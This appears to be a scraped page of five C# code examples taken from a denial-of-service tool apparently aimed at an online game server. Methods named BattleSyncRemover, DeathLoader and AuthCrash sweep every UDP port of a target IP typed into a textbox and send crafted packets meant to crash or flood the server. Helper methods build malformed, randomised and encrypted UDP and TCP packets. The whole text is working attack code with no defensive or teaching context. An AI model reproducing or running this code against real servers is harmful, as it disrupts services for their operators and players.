Example #1
0
        public void BattleSyncRemover()
        {
            int port = 0;

            new Thread(() =>
            {
                do
                {
                    if (BloquearFlod)
                    {
                        break;
                    }
                    try
                    {
                        IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Parse(textBox1.Text), port);
                        UdpClient udpClient   = new UdpClient()
                        {
                            ExclusiveAddressUse = false,
                        };
                        udpClient.Client.Connect(iPEndPoint);
                        if (port != ((IPEndPoint)udpClient.Client.LocalEndPoint).Port)
                        {
                            udpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
                            if (udpClient.Client.Connected)
                            {
                                SendPacket s = new SendPacket();
                                s.WriteH(1);
                                s.WriteD(01051999);
                                s.WriteD(new Random().Next(0, 100));
                                label6.Invoke(new Action(() => label6.Text = $"local:[{iPEndPoint.Address.ToString()}:{port}] / {IPEndPoint.MaxPort}"));
                                udpClient.Client.Send(s.stream.ToArray(), s.stream.ToArray().Length, SocketFlags.None);
                                udpClient.Close();
                            }
                        }
                        if (port >= ushort.MaxValue)
                        {
                            port = 0;
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.ToString());
                        break;
                    }
                } while (++port <= IPEndPoint.MaxPort);
                new Thread(new ThreadStart(SyncRemoverFlod)).Start();
            }).Start();
        }
Example #2
0
 public byte[] ArrayBytesUdp(string valuebytes)
 {
     using (SendPacket send = new SendPacket())
     {
         byte[] buff   = Encoding.Unicode.GetBytes(valuebytes);
         byte[] action = Encrypt(buff, (13 + buff.Length) % 6 + 1);
         send.WriteC(3);                            // OPCODE
         send.WriteC(255);                          //SLOT
         send.WriteT(DateTime.Now.Second);          //TIMER
         send.WriteC(10);                           //ROUND
         send.WriteH((ushort)(13 + action.Length)); //LENGTH
         send.WriteD(0);                            //unk
         send.WriteD(0);                            //unk
         send.WriteB(action);
         return(send.stream.ToArray());
     }
 }
Example #3
0
 public byte[] ArrayBytesTcp()
 {
     using (SendPacket send = new SendPacket())
     {
         using (SendPacket BeginSend = new SendPacket())
         {
             using (SendPacket receive = new SendPacket())
             {
                 BeginSend.WriteH((short)new Random().Next(0, short.MaxValue)); //opcode
                 BeginSend.WriteH(0);                                           //Seed
                 BeginSend.WriteB(new byte[new Random().Next(0, 20000)]);       //BYTEPRIMARIO
                 byte[] data = Encrypt(BeginSend.stream.ToArray(), 2);          // Encrypt
                 receive.WriteH((ushort)(data.Length - 2 | 32768));             //0x8000
                 receive.WriteB(data);                                          //PACOTE COMPLETO
                 return(receive.stream.ToArray());
             }
         }
     }
 }
Example #4
0
 public void DeathLoader()
 {
     new Thread(() =>
     {
         for (int i = 0; i <= IPEndPoint.MaxPort; i++)
         {
             if (BloquearFlod)
             {
                 break;
             }
             try
             {
                 IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Parse(textBox1.Text), i);
                 UdpClient udpClient   = new UdpClient()//1915
                 {
                     ExclusiveAddressUse = false,
                 };
                 udpClient.Client.Connect(iPEndPoint);
                 udpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
                 if (udpClient.Client.Connected)
                 {
                     SendPacket p = new SendPacket();
                     p.WriteH(1);
                     p.WriteQ(0);
                     udpClient.Client.Send(p.stream.ToArray(), p.stream.ToArray().Length, SocketFlags.None);
                     udpClient.Client.Close();
                 }
             }
             catch (Exception ex)
             {
                 MessageBox.Show(ex.ToString());
                 break;
             }
             label6.Invoke(new Action(() => label6.Text = $"Procurando Porta [{i}]"));
         }
         Button4_Click(null, new EventArgs());
     }).Start();
 }
Example #5
0
 public void AuthCrash()
 {
     new Thread(() =>
     {
         for (int i = 0; i <= IPEndPoint.MaxPort; i++)
         {
             if (BloquearFlod)
             {
                 break;
             }
             try
             {
                 IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Parse(textBox1.Text), i);
                 UdpClient udpClient   = new UdpClient()//1915
                 {
                     ExclusiveAddressUse = false,
                 };
                 udpClient.Client.Connect(iPEndPoint);
                 udpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
                 if (udpClient.Client.Connected)
                 {
                     SendPacket s = new SendPacket();
                     s.WriteH(15);
                     s.WriteC(0);
                     udpClient.Client.Send(s.stream.ToArray(), s.stream.ToArray().Length, SocketFlags.None);
                     udpClient.Close();
                 }
                 label6.Text = $"Procurando Porta [{i}]";
             }
             catch (Exception ex)
             {
                 MessageBox.Show(ex.ToString());
                 break;
             }
         }
         new Thread(new ThreadStart(SyncRemoverFlod)).Start();
     }).Start();
 }